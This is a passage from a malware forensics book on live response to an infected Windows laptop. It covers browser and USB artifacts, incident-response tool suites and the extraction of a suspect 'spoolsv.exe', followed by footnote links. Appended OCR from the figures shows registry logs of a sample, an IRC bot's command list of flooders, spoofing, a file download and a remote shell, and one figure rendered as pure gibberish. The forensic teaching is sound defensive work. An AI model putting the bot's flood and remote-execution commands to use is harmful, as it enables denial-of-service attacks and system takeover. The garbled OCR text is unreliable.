In addition to dumping the entire Registry contents to a text file, there are particular areas of interest that can be processed individually. For instance, some details about the Universal Serial Bus (USB) devices that have been plugged into the system can be extracted from the Registry with USBView.73 Although there is no evidence relating to the usage of a USB device on Kim’s laptop, this information may be particularly valuable in the instance of a malicious insider, wherein the infection vector was from a physical access to a system, such as a USB device. Alternately, a user may have inadvertently used a USB device that was infected with a virus that exploits the Windows autorun functionality. For instance, in 2008, some USB digital picture frames were infected with various pieces of malware, and a number of Maxtor Basics Personal Storage 3200 hard drives produced by Seagate in late 2007 contained the Win32.AutoRun.ah virus. A Windows system that was configured to launch executables referenced in the “autorun.ini” configuration file stored on the digital picture frame would have installed the virus that stole passwords and sent them to a server on the Internet.

The output provided by USBView is very granular, as shown in Figure 1.61, and reveals numerous details about a potentially suspicious external media that can be valuable in identifying a culprit who is assigned or known to have media comporting to the discovered anomalous entry.
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Figure 1.61 Identifying a Suspicious Device with USBView

Examination of the Registry is covered in more depth in Chapter 4, in the context of a full forensic examination of a compromised system.




Examine Web Browsing Activities

With the increasing number of vulnerabilities in Web browsers and the potential for unsafe browsing practices, an examination of Web browser artifacts may reveal how malware was placed on a system. There are various utilities available to parse the Web browser history on a Windows system, as shown in Figure 1.62. An example excerpt of Web browsing history extracted from our Kim’s system reveals details relating to file names, URL, content type, date accessed, and the path in which the cached content resides on the system.
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Figure 1.62 Web History Excerpted from IECacheView

Similar to the correlative clues that can be gained through reviewing the Web browsing history on a subject system, cookie files can also potentially provide insight into how malware may have been placed on a victim system. information from cookie files can be acquired using galleta74 for Internet Explorer and MozillaCookiesView75 for Firefox.

If user accounts accessed from the subject system such as e-mail accounts and password-protected Web site logins were discovered to be compromised after a malicious code incident, it is possible that malware may have harvested the protected storage (also referred to as “pstore”) from the subject system (or a key logger was installed). Protected storage can potentially contain passwords stored by Internet Explorer and other programs, providing the attacker with stored user credentials on the system. This information can be gathered with Nirsoft’s GUI and CLI utility Protected Storage PassView (pspv.exe).76 Similarly, the contents of the Firefox AutoComplete and Protected Storage areas can be extracted using the DumpAutocomplete77 utility.

While responding to Kim’s laptop, we were able to collect a substantial amount of information relating to the suspect program, “spoolsv.” During this discussion, we explored the use of relevant tools for both volatile and non-volatile data collection to demonstrate their particular functionality. However, digital investigators often choose to implement a centralized collection, or “suite” of trusted incident response tools to gather data from a live system. These tool suites enable the investigator to collect information in an automated fashion, saving time and reducing the risk of error in executing commands. In the next section, we will explore the use of Incident Response Tool suites, and afterward, we will return to “Greetings!” case scenario to explore methods of extracting a malicious code specimen from a subject system.


Other Tools to Consider

Web History
[image: ent] Pasco
www.foundstone.com/us/resources/proddesc/pasco.htm

[image: ent] IECacheviewer
http://www.nirsoft.net/utils/ie_cache_viewer.html

[image: ent] IEHistoryview
http://www.nirsoft.net/utils/iehv.html

[image: ent] MyLastSearch
http://www.nirsoft.net/utils/my_last_search.html

[image: ent] MozillaHistoryView
http://www.nirsoft.net/utils/mozilla_history_view.html

[image: ent] MozillaCacheView
http://www.nirsoft.net/utils/mozilla_cache_viewer.html

[image: ent] FavoritesView
http://www.nirsoft.net/utils/faview.html

[image: ent] WebHistorian
http://www.mandiant.com/webhistorian.htm












Incident Response Tool Suites for Windows

There are a number of tool suites specifically designed to collect digital evidence from Windows systems during an incident response, and generate supporting documentation of the preservation process. Some of these tool suites execute commands on the compromised computer, and rely on system libraries on the compromised system. Other programs, commonly known as “remote forensics tools,” use a servlet that enables remote evidence gathering while trying to rely on the compromised operating system as little as possible (with varying degrees of success). The strengths and weakness of these tools are covered in this section.

The Helix Live CD provides a powerful suite of tools for incident response and forensic preservation of volatile data for both Windows and UNIX systems. In addition to dumping RAM as discussed earlier in this chapter, the Helix CD comes with the Windows Forensic Toolchest.78


Windows Forensic Toolchest

The Windows Forensic Toolchest (WFT) provides a framework for performing consistent information gathering using a variety of utilities. The WFT can be configured to run any utilities in an automated fashion and in a specific sequence. In addition, the WFT generates MD5 values and supporting audit information to document the collection process and integrity of the acquired data. However, the WFT cannot list deleted files.

A significant limitation of the WFT is that it relies on the operating system of the compromised host. Some malware hides information from incident response tools that rely on the operating system. For instance, providing a preview of a case scenario detailed in Chapter 4, Figure 1.63 shows file listing results on a live system on which the HackerDefender rootkit is concealing certain files from the operating system. As such, if a rootkit is installed on the subject system, even trusted commands in the WFT can provide incorrect results.
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Figure 1.63 File Listing using Helix Does Not Display Files Hidden by the HackerDefender Rootkit


ProDiscoverIR

Live response forensic tools suites that do not rely upon the subject operating system, but rather, run agents on the subject system at the bit level, such as PRoDiscoverIR79 (a commercial forensic utility), are capable of unearthing these stealth files. In Figure 1.64 PRoDiscoverIR was able to identify the HackerDefender rootkit. Keep in mind that some rootkits or anti-forensic techniques may successfully conceal some information, like hidden processes, from a remote forensic tool like ProDiscoverIR.
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Figure 1.64 File Listing using ProDiscoverIR Displays Files Hidden by HackerDefender

Another risk of running utilities on a live system is that they may crash and overwrite valuable digital evidence on the compromised system. For instance, Figure 1.65 shows an error produced when one of the programs called by WFT crashed. This type of event can caused a crash dump file to be written to disk, potentially overwriting prior crash dumps or other information relating to malware on the compromised system.
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Figure 1.65 Error Message Produced When Utility Run During Incident Response Crashed, Causing Alterations to the Evidentiary System

This risk emphasizes the importance of capturing a full memory dump and forensic image prior to performing such analysis on a live system.

A number of remote forensic tools address some of the limitations of local incident response suites. Using remote forensic tools, digital investigators can access many machines from a central console, making more effective use of our expertise than spending time running around to touch each machine physically. Furthermore, using a remote forensics tool is more subtle than running various commands on the system and is less likely to alert the subject of investigation.

As noted above, ProDiscoverIR can capture volatile data from a remote computer via a servlet running on the compromised computer. Figure 1.65 shows part of the process list obtained from a remote computer using ProDiscoverIR.
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Figure 1.66 ProDiscoverIR Listing Processes on a Remote System

Although the servlet attempts to provide a complete and accurate view of the compromised computer, it can be tricked by some rootkits. For instance, current versions of ProDiscoverIR cannot see processes and open ports that are hidden by the HackerDefender rootkit.




OnlineDFS/LiveWire

The Online Digital Forensics Suite (OnlineDFS), which is also licensed as LiveWire,80 has the capability to capture volatile data from a remote Windows computer, and can be used to capture a full memory dump and a forensic duplicate of the hard drive on a remote computer (see Figure 1.67). Rather than running a servlet on the evidentiary machine, OnlineDFS/LiveWire uses the SMB protocol to execute commands on the remote system, since this approach relies on components of the compromised system and therefore could conceivably be undermined by malware.
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Figure 1.67 LiveWire

EnCase Enterprise can capture full memory contents, and it can be used to inspect volatile data on a remote computer and preserve some high level information such as lists of running processes, network connections, listening ports, and open files. Figure 1.68 shows the Snapshot module in EnCase Enterprise being used to view information about processes running on a remote computer.
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Figure 1.68 EnCase Enterprise Memory Snapshot Showing Processes Running on Remote System




Regimented Potential Incident Examination Report (RPIER)81


RPIER (which also goes by the name “The Rapid Assessment & Potential Incident Examination Report (RAPIER)”) was developed by Steve Mancini and Joe Schwendt of Intel. RPIER serves as a framework, or “engine” for the automatic acquisition of volatile and non-volatile system state data from a subject system. In particular, the RPIER framework is intended to be run on a subject machine in a running state from an external media, such as a USB thumb drive. Upon execution, the RPIER runs a series of individual modules that invoke numerous third-party utilities, to collect information from a subject system. The collected information is then either uploaded to a central secured repository or deposited on local external media, where analysts can examine the output from the program. RPIER can be used on Windows 2000, XP, 2003, and Vista systems, but requires the Microsoft.NET framework 1.1 or higher be installed on the subject system.

The RPIER framework can be used in three different scanning modes: Fast, Slow, and Special. The Fast scan takes approximately 10 minutes to complete and gathers a variety of volatile and non-volatile system data, depending upon the modules selected by the investigator. The Slow mode includes a more in-depth acquisition of system data, including acquisition of physical memory, and process memory acquisition for every running process on the system. Lastly, the Special Scan includes a series of more invasive probes, which can potentially alter system data, such as anti-virus scanning, networking monitoring, and steganography detection. For in-depth discussions about the different scan modes, see Mancini and Schwendt’s whitepaper, “RAPIER: A 1st Responders Information Acquisition Framework”82 and PowerPoint presentations discussing RPIER that are available online.83

Once the investigator selects the scan mode, he or she must select the individual modules he or she wants to deploy, using the RPIER user interface, as shown in Figure 1.69.
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Figure 1.69 Selecting Modules in the RPIER User Interface

One the investigator has selected the modules, the tool is deployed by clicking the “Run Rapier” button on the user interface. The results from each module are deposited into a main “Results” folder, which can be sent over the network to a secure server, or can be directed to a local external media, such as a USB thumb drive or external hard drive enclosure.

We will explore the process memory acquisition capability of RAPIER in greater detail in Chapter 3.




Nigilant3284


Nigilant32 is a GUI-based incident response tool designed to capture volatile information from a live Windows 2000, XP, and 2003 systems with minimal impact to the system. In addition to being available for deployment individually, Nigilant32 is also integrated into the Helix incident response CD. The tool provides the investigator with a variety of features including:


[image: ent] System Snapshot Gathers and generates a report on ephemeral information on a running system including processes, services, user accounts, scheduled tasks, network connections, among other information.

[image: ent] Filesystem Review Allows the investigator to explore the file system and potentially locate hidden files or folders, recently deleted content, or extract files for offline analysis.

[image: ent] Active Memory Imaging As we discussed earlier in the chapter, Nigilant32 provides the investigator with the means of imaging the physical memory (RAM) of the subject system.



We’ll examine the Filesystem Review function of Nigilant32 in greater detail later in this chapter, when we explore methods of extracting potentially hostile programs from a subject system.

Other Tools to Consider

Live Response Tool Suites
[image: ent] Forensic Server Project (FSP)/First Responder Utility (FRU) Written by Harlan Carvey (in Perl, or course!), the FSP is a client/server based approach for information collection from a live system.

[image: ent] http://sourceforge.net/project/showfiles.php?group_id=164158; http://windowsir.blogspot.com/2005/02/forensic-server-project.html.

[image: ent] FirstResponse A console/agent based response tool developed by Mandiant, http://www.mandiant.com/firstresponse.htm.

[image: ent] Helix Incident CD
http://www.e-fense.com/helix/. Helix, arguably the most recognized Incident Response tool kit, is used by many digital investigators and is referenced widely throughout this book. Helix serves many investigative purposes; it is a customized distribution of the Knoppix Live Linux CD, allowing the investigator to boot into a customized Linux environment; it also contains a special Window autorun that provides the investigator with an intuitive graphical user interface linked to a variety of Incident Response and Forensic tools. Lastly, Helix contains a directory of trusted Windows binaries and a directory of statically compiled Linux binaries.

[image: ent] SecCheck a Windows forensic tool which gathers volatile and non-volatile information from a live system and aids in the detection and removal of malicious code, http://www.mynetwatchman.com/tools/sc/.

[image: ent] IRCR (The Incident Response Collection Report) A script to call a collection of tools that gathers information from a live Microsoft Windows system. IRCR is included as a incident response tool option on the Helix Incident Response CD, http://tools.phantombyte.com/.

[image: ent] WinAudit Although not solely designed for Live Response, WinAudit is GUI based tool that reports on a numerous aspects of a running system, including both volatile and non-volatile information, http://www.pxserver.com/WinAudit.htm.

[image: ent] SIW (System Information for Windows) Like WinAudit, SIW is a GUI based system auditing tool was not designed solely for incident response, but can assist in gathering valuable system details from a running system (http://www.gtopala.com/)

[image: ent] FRISK Written in Perl by John “Four” Flynn, FRISK is an incident response framework with a flexible plugin architecture, http://sourceforge.net/projects/frisk; http://www.educause.edu/ir/library/powerpoint/SPC0559.pps.

[image: ent] FirstonScene Visual Basic script developed by Beau Monday that draws from over 20 different trusted binaries to collect volatile and non-volatile system data, http://bmonday.com/articles/975.aspx.

[image: ent] DUMPWIN CLI based collection tool developed by NII Consulting, http://www.niiconsulting.com/innovation/tools.html.

[image: ent] FRED (First Responder’s Evidence Disk) Written by Jesse Kornblum, and considered one of the first scripted live response tool scripts, FRED draws upon trusted binaries to collect system information. The FRED batch script can be found at the end of Kornblum’s white paper “Preservation of Fragile Digital Evidence by First Responders,” http://www.csa.syr.edu/Jesse_Kornblum.pdf.












Malware Discovery and Extraction From a Live Windows System

During our live response investigation earlier in the chapter, we learned that the malicious executable “spoolsv.exe,” residing in the system path “C:\WINDOWS\temp\spoolsv” spawned the process “spoolsv,” PID 864, causing Kim’s laptop to establish a remote connection with an IRC server. We also learned that in executing, “spoolsv” invoked the image file “xmas.jpg” from the same directory. Now that we’ve identified the possible hostile files on our subject system, we want to extract them for further analysis in our malicious code laboratory. Similarly, we’ll want to browse the system for additional artifacts relating to our hostile code.


Nigilant32

We can gain further information about these suspicious files using the Nigilant32 File System Review functionality. To use this function, we’ll select the “Preview Disk” function within Nigilant32, which is accessible from the user console. After selecting this option, the investigator is presented with a list of the possible partitions on the subject hard drive to explore, as displayed in Figure 1.70.

[image: image]

Figure 1.70 Previewing the Hard Drive of the Subject System

The Preview Disk function uses code85 from Brian Carrier’s forensic analysis framework, The SleuthKit,86 to examine the active file system and minimize any potential modifications that the native Windows API could cause. Using this feature on our subject system, we can explore the file system and possibly locate hidden files or folders, recently deleted content, or extract files for additional analysis.

Using Nigilant32 Preview Disk to browse the “\spoolsv” directory, we can double click on the folder, which displays the folder contents. By doing so, we learn that the directory is populated with numerous files, including “spoolsv.exe,” “run.bat,” “xmas.jpg,” “a.reg,” and numerous initialization (.ini) files. We can gather further information about the individual file by double clicking on it, which will populate the file contents display panels located below the main display pane, as seen in Figure 1.71.

[image: image]

Figure 1.71 Examining File Contents with Nigilant32

Each display panel provides different information pertaining to the selected file. In particular, the first panel displays the hexadecimal offset for each line in the file, the second panel shows the contents of the file in hexadecimal format, while the third and final panel reveals the contents of the file in ASCII format, similar to using a utility to display embedded strings. We can see from examining the “users.ini” file that it contains IRC network references.




Extracting Suspicious Files

Now that we’ve discovered numerous files of interest, we can extract the files to an external source, such as a USB thumbdrive or external hard drive enclosure using the Nigitlant32 “Extract File” function, shown in Figure 1.72. Using this function, we can select the location and name of he suspect file we want to extract, and in turn, the location where we want to save the extracted file specimen.

[image: image]

Figure 1.72 Extracting Our Suspect File Using the Nigilant32 Extract File Feature

Now that we have extracted suspicious files from Kim’s system, we can conduct a more detailed analysis of the specimens in our malicious code laboratory environment. In Chapter 7, we discuss the file profiling process through preliminary static analysis on a Windows system, and in Chapter 9, we’ll discuss the analysis of a malicious windows program.

Analysis Tip

Using Helix to Browse for FilesOne way we can examine the contents of our subject system is through using the browsing feature of HELIX. It is important to note that in using this feature, the access times pertaining to the viewed files 
will be modified
. To gain this view, select the “Browse” feature, demarcated as a file cabinet icon, as shown in below. Upon selecting this feature, we can navigate and view the file structure of our subject system. In the instance of our case scenario, we’ll want to explore the directory where we know our suspicious binary executable, spoolsv.exe resides.

[image: image]

After navigating to the Temp directory by drilling down through the file structure, we discover the \spoolsv directory. The HELIX file browser provides the user with an intuitive triple paned user interface that provides the investigator with information about the selected file, including filename, created, accessed and modified dates, attributes, hash values and file size, as displayed in below. However, it is important to note that due to the nature of the Windows operating systems, the file access time and date of a selected file will be modified by using this function of Helix. For instance, the first time an investigator selects to view a file, it will display the access date of the last access, but by viewing the file you have now modified the time and date--meaning that the next time the same file is selected for viewing, it will display the date and time of the subsequent access.

[image: image]

Using Helix to browse the \spoolsv directory, we learn that the directory is populated with numerous files, including spoolsv.exe, run.bat, xmas.jpg, a.reg, and numerous initialization (.ini) files.












Conclusions

Live Windows systems contain a significant amount of volatile data that will be lost when the system is shut down. This volatile data can provide critical details about malicious code on the subject system, like data that it has captured and network connections that it has established. There are a wide variety of tools for preserving such data, many of which were demonstrated in this chapter.

Independent of the tools used and the operating system under examination, there is a need for a preservation methodology to ensure that available volatile data is captured in as consistent and repeatable manner as possible. For forensic purposes, it is also necessary to maintain detailed documentation of the steps taken on the live system and the integrity of the acquired data.

The methodology in this chapter provides a robust foundation for the forensic preservation of volatile data on a live Windows system. This methodology is not intended as a checklist and may need to be altered for certain situations, but it does increase the chances that much of the relevant volatile data on system will be obtained. Furthermore, this methodology and the supporting documentation will strengthen volatile data as a source of evidence, enabling an objective observer to evaluate the reliability and accuracy of the preservation process and acquired data.

Collecting volatile data is a delicate process and great care must be taken to minimize the changes made to the subject system during the preservation process. Therefore, extensive examination and searching on a live system is strongly discouraged. If the system is that interesting, take the time to create a forensic duplicate of the disk for examination, as covered in Chapter 4.

Whenever possible, digital investigators should not trust the operating system of the subject system, because it may give incomplete or false information. To mitigate this risk, it is important to seek corroborating sources of evidence such as port scans and network logs.




Notes

i For good discussions about building a live response toolkit, see, Kevin Mandia, Chris Prosise & Matt Pepe, Incident Response & Computer Forensics (McGraw-Hill/Osborne, Second Edition, 2003); and Steve Anson and Steve Bunson, Mastering Windows Network Forensics and Ivestigation, (Sybex/Wiley, 2007).

ii Mandiant http://www.mandiant.com/education/incidentresponse.htm

iii For more information about Nigilantw32, go to http://www.agilerm.net/publications_4.html.

iv For more information about NetBIOS names, go to, http://msdn.microsoft.com/en-us/library/ms817948.aspx

v For more information about ARP, go to http://technet.microsoft.com/en-us/library/bb490864.aspx.

vi For more information about openports, go to http://www.diamondcs.com.au/consoletools.php.

vii For more information about Microsoft Windows services, go to http://msdn.microsoft.com/en-us/library/ms685141.aspx




1 For more information about VirtualBox, go to http://www.virtualbox.org/.

2 Winalysis was previously hosted on http://www.winalysis.com, but the site is no longer available. Winalysis is available for download through a number of sites on the Internet.

3 For more information about InstallSpy, go to http://www.2brightsparks.com/freeware/freeware-hub.html.

4 For more information about Filemon, go to http://technet.microsoft.com/en-us/sysinternals/bb896642.aspx

5 For more information about regMon, go to http://www.microsoft.com/technet/sysinternals/processesandthreads/ regmon.mspx

6 For more information about Process Monitor, go to http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx?PHPSESSID=d926bdd849b5aab10f7263dd7f5904f2.

7 For more information about Helix, go to http://www.e-fense.com/helix/.

8 For more information about ProdiscoverIR, go to http://www.techpathways.com/ProDiscoverIR.htm.

9 For more information about OnlineDFS, go to www.onlinedfs.com/

10 For more information about LiveWire, go to http://www.wetstonetech.com/.

11 Explanation of issues and alternate approaches relating to Windows memory acquisition are described at http://ntsecurity.nu/onmymind/2006/2006-06-01.html

12 The Device\PhysicalMemory Object and added restrictions in Windows Server 2003 are detailed at http://technet2.microsoft.com/windowsserver/en/library/e0f862a3-cf16-4a48-bea5-f2004d12ce351033.mspx?mfr=true

13 For more information about now.exe, go to http://support.microsoft.com/kb/927229 and http://download.microsoft.com/download/win2000platform/now/1.00.0.1/NT5/EN-US/now_setup.exe.

14 For more information about whoami, go to http://www.microsoft.com/downloads/details.aspx?familyid=3E89879D-6C0B-4F92-96C4-1016C187D429&displaylang=en.

15 For more information about ver, go to http://technet.microsoft.com/en-us/library/bb491028.aspx.

16 For more information about Promisdetect, go to http://www.ntsecurity.nu/toolbox/promiscdetect/.

17 For more information about Promqry, go to http://www.microsoft.com/downloads/details.aspx?familyid=4DF8EB90- 83BE-45AA-BB7D-1327D06FE6F5&displaylang=en.

18 For more information about URLProtocolView, go to (http://www.nirsoft.net/utils/url_protocol_view.html).

19 For more information about uptime.exe, go to http://support.microsoft.com/kb/232243

20 For more information about psinfo, go to http://technet.microsoft.com/en-us/sysinternals/bb897550.aspx.

21 For more information about systeminfo, go to http://technet.microsoft.com/en-us/library/bb491007.aspx.

22 For more information about DumpWin, go to http://www.niiconsulting.com/innovation/tools.html.

23 For more information about PSLoggedon, go to http://technet.microsoft.com/en-us/sysinternals/bb897545.aspx.

24 For more information about netusers, go to http://www.systemtools.com/free.htm.

25 For more information about LogOnSessions, go to http://technet.microsoft.com/en-us/sysinternals/bb896769.aspx.

26 For example, see http://www.virus.fi/v-descs/im-worm_w32_skipi_a.shtml.

27 For more information about tlist.exe, go to http://www.microsoft.com/downloads/details.aspx?FamilyID=c055060b-9553-4593-b937-c84881bca6a5&DisplayLang=en.

28 For more information about PRCView, go to http://www.teamcti.com/pview/prcview.htm.

29 For more information about pmon, go to, http://www.microsoft.com/downloads/details.aspx?familyid=49ae8576-9bb9- 4126-9761-ba8011fabf38&displaylang=en.

30 For more information about pstat.exe, go to http://support.microsoft.com/kb/927229.

31 For more information about memsnap, go to http://technet2.microsoft.com/windowsserver/en/library/352dfb2b-b32d-47b5-a888-59433f4904531033.mspx?mfr=true.

32 For more information about CurrProcess, go to http://www.nirsoft.net/utils/cprocess.html.

33 For more information about pulist, go to http://207.46.19.190/downloads/details.aspx?FamilyID=9b9da78d-f7d1-4b8a- 8a31-3bb725c7a069&displaylang=en.

34 For more information about handle.exe, go to http://www.microsoft.com/technet/sysinternals/ProcessesAndThreads/Handle.mspx.

35 For more information about listdlls.exe, go to http://technet.microsoft.com/en-us/sysinternals/bb896656.aspx.

36
http://technet.microsoft.com/en-us/sysinternals/bb896656.aspx.

37 For more information about Vanquish Rootkit, go to https://www.rootkit.com/vault/xshadow/ReadMe.txt.

38 For more information about DLLExport Viewer, go to http://www.nirsoft.net/utils/dll_export_viewer.html.

39 For more information about fport, go to, http://www.foundstone.com/us/resources/proddesc/fport.htm.

40 For more information about CurrPorts, go to http://www.nirsoft.net/utils/cports.html.

41 For more information about psservice, go to http://technet.microsoft.com/en-us/sysinternals/bb897542.aspx.

42 For more information about ServiWin, go to http://www.nirsoft.net/utils/serviwin.html.

43 For more information about servicelsit, go to http://www.pathsolutions.com/support/tools.asp.

44 For more information, go to http://www.symantec.com/enterprise/security_response/weblog/2007/08/the_new_peacomm_infection_tech.html

45 For more information, go to http://support.microsoft.com/kb/927229.

46 For more information about DriverView, go to http://www.nirsoft.net/utils/driverview.html.

47 For more information about ListLoadedDrivers, go to http://download.microsoft.com/download/win2000platform/drivers/1.0/NT5/EN-US/drivers.exe.

48 For more information about OpenFilesView, go to http://www.nirsoft.net/utils/opened_files_view.html.

49 For more information about psfile, go to http://technet.microsoft.com/en-us/sysinternals/bb897552.aspx.

50 For more information about doskey, go to http://technet.microsoft.com/en-us/library/bb490894.aspx?wt.slv=3D=.

51 For more information, go to http://vil.nai.com/vil/Content/v_140566.htm.

52
http://newark.fbi.gov/dojpressrel/2007/nk091907.htm.

53 For more information about WORM_SOHANAD.FM, go to http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FSOHANAD%2EFM&VSect=P.

54 For more information about schtasks.exe, go to http://technet2.microsoft.com/windowsserver/en/library/1d284efa-9d11-46c2-a8ef-87b297c68d171033.mspx?mfr=true.

55 For more information, go to http://www.avira.com/en/threats/section/fulldetails/id_vir/4120/worm_hakaglan.b.html.

56
http://msdn2.microsoft.com/en-us/library/ms649013(VS.85).aspx

57 For more information about pclip.exe, go to http://unxutils.sourceforge.net/.

58 For more information about inside clipboard, go to http://www.nirsoft.net/utils/inside_clipboard.html.

59 For information about WinUpdatesList, go to http://www.nirsoft.net/utils/wul.html

60 For more information about the Microsoft Baseline Security Analyzer, go to http://msdn2.microsoft.com/en-us/library/aa302360.aspx.

61 For more information about dumpsec, go to http://www.systemtools.com/download/dumpacl.zip.

62 For more information, go to http://www.mitec.cz/wfa.html.

63 For more information about Autoruns, go to, http://technet.microsoft.com/en-us/sysinternals/bb963902.aspx.

64 For more information about StartupRun, go to http://www.nirsoft.net/utils/strun.html.

65 For more information about eldump, go to www.ibt.ku.dk/jesper/ELDump/default.htm.

66 For more information about NTlast, go to http://www.foundstone.com/us/resources/proddesc/ntlast.htm.

67 For more information about SFind, go to http://www.foundstone.com/us/resources/proddesc/forensictoolkit.htm.

68 For more information about streams.exe, go to http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx

69 For more information about Rifiutti, go to http://www.foundstone.com/us/resources/proddesc/rifiuti.htm.

70 For more information about macmatch.exe, go to http://www.ntsecurity.nu/toolbox/macmatch/.

71 For more information about the Microsoft Log Parser, go to http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&displaylang=en.

72 For more information about dumpreg, go to http://www.systemtools.com/download/dumpreg.zip.

73 For more information about USBView, go to http://www.nirsoft.net/utils/usb_devices_view.html.

74 For more information about Galleta, go to http://www.foundstone.com/us/resources/proddesc/galleta.htm.

75 For more information about Mozilla Cookies View, go to http://www.nirsoft.net/utils/mzcv.html.

76 For more information about Protected Storage PassView, go to http://www.nirsoft.net/utils/pspv.html.

77 For more information about DumpAutoComplete, go to, http://www.foundstone.com/us/resources/proddesc/DumpAutoComplete.htm.

78 For more information about the Windows Forensic Toolchest, go to, http://www.foolmoon.net/security/wft/.

79 For more information about ProDiscoverIR, go to http://www.techpathways.com/ProDiscoverIR.htm.

80
http://www.wetstonetech.com/cgi/shop.cgi?view,14

81 For more information about RAPIER, go to http://sourceforge.net/projects/rpier.

82 http://www.first.org/conference/2006/papers/mancini-steve-papers.pdf; http://www.first.org/conference/2006/program/rapier_-_a_1st_responders_info_collection_tool.html

83
http://code.google.com/p/rapier/downloads/list; http://crime.zotconsulting.com/slides/2007_Q1_CRIME_presentation.pdf; http://www.first.org/conference/2006/papers/mancini-steve-slides.pdf.

84 For more information about Nigilant32, go to http://www.agilerm.net/publications_4.html

85 For more information about the code from the Sleuthkit, go to http://www.sleuthkit.org/sleuthkit/docs/api-docs/index.html.

86 For more information about the Sleuthkit, go to http://www.sleuthkit.org/index.php.
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registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe ->
HKCU\Software\Microsoft\Windows\Currentversion\Internet Settings\User Agent\Post
Platform\EmbeddedWB 14,52 from: http://www.bsalsa.com/ Eubedded Web Browser
from: http://bsalsa.com/

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -

HKLM\SOFTWARE\Mi crosoft\Hindows\CurrentVersion\Explorer\Shell Folders\Common
AppData

registry: SetvalueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe ->
HKCU\Sof tware\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Appbata
SetvValuekey C:\Documents and Settings\Malware Lab\Desktop\Video.exe —>
HKCU\Software\Microsof t\Windows\CurrentVersion\Internet Settings\MigrateProxy

registr:

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe ->

HKCU\Sof tware\Microsoft \Hindows\CurrentVersion\Internet Settings\ProxyEnable

registry: DeleteValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe

-> HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer






OEBPS/images/f000104gr47.jpg





OEBPS/images/f000098gr74.jpg
Ao

o oo (R 515,

=5 0070 20 e A1 eotghech  G000W0, ke, 03

= 5950, 2052 e OISO Rk 1,

= 55 701 202 s IO et O, o, i, 055).
= 50,0 2032 e O bSO ) e 5

2 525,70 202 e 81 et A UTOOMO, ke, 03,

= 59, 2032 2 DTS R 515

= 5770 202 2 81D et G000, Wk S, 055,
= 59 5 2052 2 A0S eSO e 916

= 5 70 200 e 31O et oA (G000, ke, 03 ),

= 510,70 200 2 OSSR 515,

= 51170 202 2 1 et 00000, Wk, S, 030),
= 512D 2032 2 Ot do B 515,

= 515 701 200 e 310 et A0, ke, 03,

= 515 2002 e O SrtnSeo Babes 915

2 15,701 20 e 1D s elheroh (2000, W St 00 )
= 51D 2032 2 OSrnaS R 5154;

= 517,701 202 2 81D etigher AT, ke, 03 ),

= 51 50 2032 2 A S e 915,

= 15,70 202 o et G000, N St 05
= 523,50 2032 2 OStaST e Bt 915

= 21 70 202 o2 A1 et G000W0, ke, 03

= 527 205 e OSSO R 5,

= 25 70 202 r I et 00, o S, 055).
= 52D 2032 e O ST ) e 4156 !

3% e






OEBPS/images/f000104gr49.jpg
b 1E s

o Losd wvaraoe: 2.2, 1.0,
oo
oy e
oo it
T, o i
[ —
e s e [
|4730m onoee tarrinal
i e 00 1o maon 0.1
0.1 b
[E PR oz nor e

b [Fripd
(19:63)  <Labs 16+ 94 pud
Gaiza) |/hame Ui ouskeop

b ((F S metatat —an Ttews

16:a]  <labs = o natatat an [ese
" active Tnternat comactions (sarvers and established]

Proto Race-Q Sand.Q Local addrass. Forein
addross. state
o o 010012208 0.0.0.01
Lrsten
o o cocooem
asten
o o owccue
sten

b [(TF S T homs Gb/confidonsial

[18:50]  <abe|1E S Lo home/labyeonfidential
2 franeist
hunan:resources






OEBPS/images/f000104gr48.jpg
<lab>|1S* NICK Timmy
--- |SVEHC is now known as Timmy

<Lab> |1+ TSUNAMI

iy~ | TSUNAME <targets <secs>






OEBPS/images/f000086gr38.jpg
Enabled and awaiting orders

NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE

NOTICE

NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE

NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
NOTICE
TSUNAMI
UNKNOWN
NICK
SERVER
GETS200!
SPOOFS
DISABLE
ENRBLE
KILL
VERSTON
KILLALL

83
5s
55
8s
5s
55
5s
ss
8s
5s
45
&s
5s
8s
5s
55
5s
5s
55
5s
pe

5s

5s
5s
5s
5s
5s
55
5s
%

*

b

!
®
45
58
ss
5s

£s

:Current status is: $s.
Already disabled.

Password too long! > 254

Disable sucessful.

ENABLE <pass>

Already enabled.

Wrong password

Password correct.

Removed all spoofs

What kind of subnet address is that? Do something like: 169.40
:Unable to resolve $s

UDP <target> <port> <secs>

Packeting is.

BN <target> <port> <secs>

Panning $s.

TSUNAMI <target> <secs>

:Tsunami heading for &s.

UNKNOWN <target> <secs>

Unknowning ts.

MOVE <server>

TSUNAMI <target> <secs> = Special packeter that wont be
blocked by most firewalls

:PAN <target> <port> <secs> = An advanced syn flooder that will
kill most network drivers

UDP <target> <port> <secs> = A udp flooder

UNKNOWN <target> <secs> = Another non-spoof udp flooder

INICK <nick> = Changes the nick of the client

SERVER <server> Changes servers
GETSPOOFS Gets the current spoofing
$SPOOFS <subnet> = Changes spoofing to a subnet

DISABLE Disables all packeting from this client
ENABLE Enables all packeting from this client
KILL Kills the client

{GET <http address> <save as> = Downloads a file off the web and
saves it onto the hd

+VERSTON = Requests version of client
+KILLALL = Kills all current packeting

HELP = Displays this

IRC <command> Sends this command to the server
+SH <command> = Executes a command

iKilling pid 3d.
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root@MalwareLab:/tmpf 1
lab lab 400492 2008-04

~rwxrwEwX ior

root@MalwareLab:/tmpf file ior

F 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
statically linked, stripped
